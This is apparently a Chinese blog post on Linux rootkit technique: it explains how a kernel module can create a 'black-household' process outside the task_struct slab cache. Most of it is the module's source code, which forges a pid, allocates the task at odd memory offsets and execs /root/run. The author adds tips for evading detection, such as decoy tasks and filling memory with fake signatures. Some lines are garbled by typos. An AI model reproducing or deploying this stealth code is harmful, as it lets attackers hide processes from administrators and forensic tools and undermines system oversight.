在前面的文章中,我不止一次谈到隐藏一个进程的方法,该方法在我看来引以为豪地彻底又直接:

将task从tasks链表摘除。
将task从pid链表摘除。
如此一来除非你扫描run queue或者扫描内存进行特征匹配,否则很难找到这个被隐藏的进程:

task即使被隐藏也要进入run queue运行。
task的字段值或者其地址本身具有特征。
当然,前面提到的perf probe/trace,dump stack之类的侦测技术无疑也属于扫描run queue或者特征匹配的范畴。

方法是好方法,确实也可以吊打那些hook procfs的方法,但是有个漏洞:

task_struct是从kmem cache中分配的,而kmem cache是slab统一管理的!
我们将task从各类链表摘除,无非就是想做一件事,那就是让该task脱离管制,task所属的链表可以随意摘除,但是task出生的场所却不可改变!

我们把task的各类链表看作是它的身份证,户口本之类,属于task本身的合法性证件,那么管理task的kmem cache就是task出生的医院以及接生护士,携带着出生证明,在系统中,它就是task_struct_cachep。

身份证,户口本可以伪造,可以撕毁,但是task出生的医院却无法搬移!

只要我们扫描task_struct_cachep中的所有活动对象,那么定然可以找到所有task,包括被隐藏的task!!

这无疑对摘链而言,又是一次降维打击。

如何应对?

做一个类比,在计划-生育的年代,如果想多生,那肯定不能去医院。类似的,如果不想自己的task被slab管理,那就别在kmem cache中创建task!如果说我们把摘链方案看作是后天伪造身份的话,那么避开task_struct_cachep slab而创建的task就是天生的黑户。

为了完成这个目标,即创建一个黑户task,就意味着, 我们要自定义fork的过程。

先看看我如何创建task:

base = kmalloc(2048*3, GFP_KERNEL);
 tsk = (struct task_struct *)(base + 157);


首先,我们在kmalloc-8192中分配task,以防止被人根据task_struct的大小一下子猜到kmalloc-4096,其次,我们在内存的稍微大一些的奇数偏移处开始初始化task_struct,毕竟,大多数的人以及几乎所有经理都认为地址都是从对齐的偶数开始的,偏不,哈哈。

我们知道,kmalloc slab是一个公用的slab池,满足一些常见大小的私有内存的分配需求,不管怎么说,它也是受slab管理,还是有风险,如果想让task的创建彻底脱离slab的管理,那不妨试试下面的:

bash = page_address(__alloc_pages(…));
 tsk = (struct task_struct *)(base + 157);


甚至可以将task放藏在内核_text段中可供藏污纳垢的地方。

本文为了快速展示效果,并不采用这些彻底的方式,而是采用较为简单的kmalloc。

接下来的任务就简单了:

照着copy_process的实现进行最小化代码复制。
不要复制copy_process的pid管理部分,改为LIST_INIT。
不要复制copy_process的链表管理部分,改为HLIST_INIT。
所有的深拷贝对象尽量用__alloc_pages,至少用kmalloc-2x+来分配。
剩余的空闲内存填充task字段的显著特征值,以混淆视听。
实在嫌麻烦,那就照抄用kmem_cache_alloc,但会增加被经理抓的风险。
设置内核线程,并在内核线程中调用do_execve到用户态可执行文件。
wake up新进程。
新进程尽量不要退出,因为kmem cache不会收容它的尸体。
第9点比较有意思,出生时的黑户,死了也没法入土为安…

黑户的收尸工作还得找私人来做:

让黑户睡眠在私人的一个队列上,然后马上schedule。
私人进行kfree操作即可。
来来来,看代码:

// 声明两句:
 // 1. 我嫌麻烦,所以很多函数没有抄写,而只是lookup syms后直接调用。
 // 2. 最小化原则,不保证没有BUG。
 #include <linux/module.h>
 #include <linux/cred.h>
 #include <linux/slab.h>
 #include <linux/kallsyms.h>
 #include <linux/nsproxy.h>
 #include <linux/pid_namespace.h>
 #include <linux/random.h>
 #include <linux/fdtable.h>
 #include <linux/cgroup.h>
 #include <linux/sched.h>int (*_run_process)(struct filename file, char **, char **);
 struct filename * (_getname_kernel)(char *name);
int test_stub2(void)
 {
 printk(“stub pid: %d at %p\n”, current->pid, current);
 if (_run_process) {
 int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
 printk(“result:%d\n”, r);
 }
 current->parent = current;
 current->real_parent = current;
 // kernel thread要返回用户态,才能达到exec到新task的效果。
 // 但是记住,exit的时候,直接schedule掉即可,记住把它的parent设置成它自己。
 // 否则,其parent会wait并尝试free掉隐藏task,这会导致内存状态异常。
 return 0;
 }int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct );
 int (_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct );
 void (_wake_up_new_task)(struct task_struct );
 void (_sched_fork)(unsigned long, struct task_struct );
 struct fs_struct * (_copy_fs_struct)(struct fs_struct );
 struct files_struct * (_dup_fd)(struct files_struct *, int );
 struct pid * (_alloc_pid)(struct pid_namespace ns);
 enum hrtimer_restart (_it_real_fn)(struct hrtimer *timer);
static int __init private_proc_init(void)
 {
 unsigned char *base;
 struct task_struct *tsk;
 struct thread_info *ti;
 struct task_struct *orig = current;
 unsigned long *stackend;
 struct pid_link *link;
 struct hlist_node *node;
 struct sighand_struct *sig;
 struct signal_struct *sign;
 struct cred *new;
 struct pid *pid = NULL;
 int type, err = 0;
_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
_run_process = (void *)kallsyms_lookup_name("do_execve");
_getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
_it_real_fn =  (void *)kallsyms_lookup_name("it_real_fn");
_alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");

base = (unsigned char *)kmalloc(4096, GFP_KERNEL);
tsk = (struct task_struct *)(base + 157);
_arch_dup_task_struct(tsk, orig);
base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL);
ti = (struct thread_info *)(base);
tsk->stack = ti;
*task_thread_info(tsk) = *task_thread_info(orig);
task_thread_info(tsk)->task = tsk;
stackend = end_of_stack(tsk);
*stackend = 0x57AC6E9D;
tsk->stack_canary = get_random_int();

clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED	);
// 避免wait释放kmalloc的内存到特定slab,引用计数设置为2
atomic_set(&tsk->usage, 2);
tsk->splice_pipe = NULL;
tsk->task_frag.page = NULL;
memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));

raw_spin_lock_init(&tsk->pi_lock);
plist_head_init(&tsk->pi_waiters);
tsk->pi_blocked_on = NULL;

rcu_copy_process(tsk);
tsk->vfork_done = NULL;
spin_lock_init(&tsk->alloc_lock);
init_sigpending(&tsk->pending);

seqlock_init(&tsk->vtime_seqlock);
tsk->audit_context = NULL;

_sched_fork(0, tsk);

tsk->mm = NULL;
tsk->active_mm = NULL;
memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
mutex_init(&tsk->perf_event_mutex);
INIT_LIST_HEAD(&tsk->perf_event_list);

new = prepare_creds();
if (new->thread_keyring) {
	key_put(new->thread_keyring);
	new->thread_keyring = NULL;
}
key_put(new->process_keyring);
new->process_keyring = NULL;
atomic_inc(&new->user->processes);
tsk->cred = tsk->real_cred = get_cred(new);
validate_creds(new);

tsk->fs = _copy_fs_struct(current->fs);
tsk->files = _dup_fd(current->files, &err);
base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL);
// 奇数地址
sig = (struct sighand_struct *)(base + 3);
// 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
atomic_set(&sig->count, 2);
memcpy(sig->action, current->sighand->action, sizeof(sig->action));

base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL);
sign = (struct signal_struct *)(base + 7);
sign->nr_threads = 1;
// 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
atomic_set(&sign->live, 2);
atomic_set(&sign->sigcnt, 2);
sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
init_waitqueue_head(&sign->wait_chldexit);
sign->curr_target = tsk;
init_sigpending(&sign->shared_pending);
INIT_LIST_HEAD(&sign->posix_timers);
seqlock_init(&sign->stats_lock);
memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);

tsk->cgroups = current->cgroups;
atomic_inc(&tsk->cgroups->refcount);
INIT_LIST_HEAD(&tsk->cg_list);

// 设置堆栈以及入口
tsk->flags |= PF_KTHREAD;
// 我们用一个kernel thread stub来exec到用户态的binary。
_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
tsk->clear_child_tid = NULL;
tsk->set_child_tid = NULL;

// 伪造身份证明
pid = kmalloc(sizeof(struct pid), GFP_KERNEL);
pid->level = current->nsproxy->pid_ns->level;
pid->numbers[0].nr = 0xffff;
pid->numbers[0].ns = current->nsproxy->pid_ns;
for (type = 0; type < PIDTYPE_MAX; ++type)
	INIT_HLIST_HEAD(&pid->tasks[type]);
atomic_set(&pid->count, 2);

// 进程管理结构自吞尾
INIT_LIST_HEAD(&tsk->ptrace_entry);
INIT_LIST_HEAD(&tsk->ptraced);
atomic_set(&tsk->ptrace_bp_refcnt, 1);
tsk->jobctl = 0;
tsk->ptrace = 0;
tsk->pi_state_cache = NULL;
tsk->group_leader = tsk;
INIT_LIST_HEAD(&tsk->thread_group);
tsk->pid = pid_nr(pid);
INIT_LIST_HEAD(&tsk->pi_state_list);
INIT_LIST_HEAD(&tsk->tasks);
INIT_LIST_HEAD(&tsk->children);
INIT_LIST_HEAD(&tsk->sibling);

// 进程组织自吞尾
tsk->pids[PIDTYPE_PID].pid = pid;
link = &tsk->pids[PIDTYPE_PID];
node = &link->node;
INIT_HLIST_NODE(node);
node->pprev = &node;

// 来吧!
_wake_up_new_task(tsk);

return -1; // oneshot,并非真正加载模块
}
static void __exit private_proc_exit(void)
 {
 }module_init(private_proc_init);
 module_exit(private_proc_exit);
 MODULE_LICENSE(“GPL”);
 我们的测试程序是/root/run,它的任务是循环在/dev/pts/0上打一堆a:#include <fcntl.h>
 int main(int argc, char **argv)
 {
 int fd = open("/dev/pts/0", O_RDWR);
 while (1) {
 write(fd, “aaaaaaaaa\n”, 10);
 sleep(1);
 }
 }


效果我就不试了,肯定是在/dev/pts/0上成功打印一堆a。该进程在内核进程管理的任何链表上均无法被找到。如果你非要说它仍然可以在run queue上被找到,我的回答是, Rootkit进程尽量不要大造势,否则引起经理注意了,再牛的技术也无法逃避被找到的命运。

值得点评一句的是,其实可以分配很多同样的task,同时使用task slab,kmalloc slab,buddy,但是只有少量的几个被wake up,如此增强混淆视听的效果。

再次强调,上述的方法创建的task由于没有通过标准slab分配内存,那么为了避免do_exit/wait将这些内存释放回标准slab,引用计数一定要注意设置为2!待到想回收它们时,我们自己来回收便是了,毕竟,只有我们自己知道157,17,13之类的地址偏移,不是么?!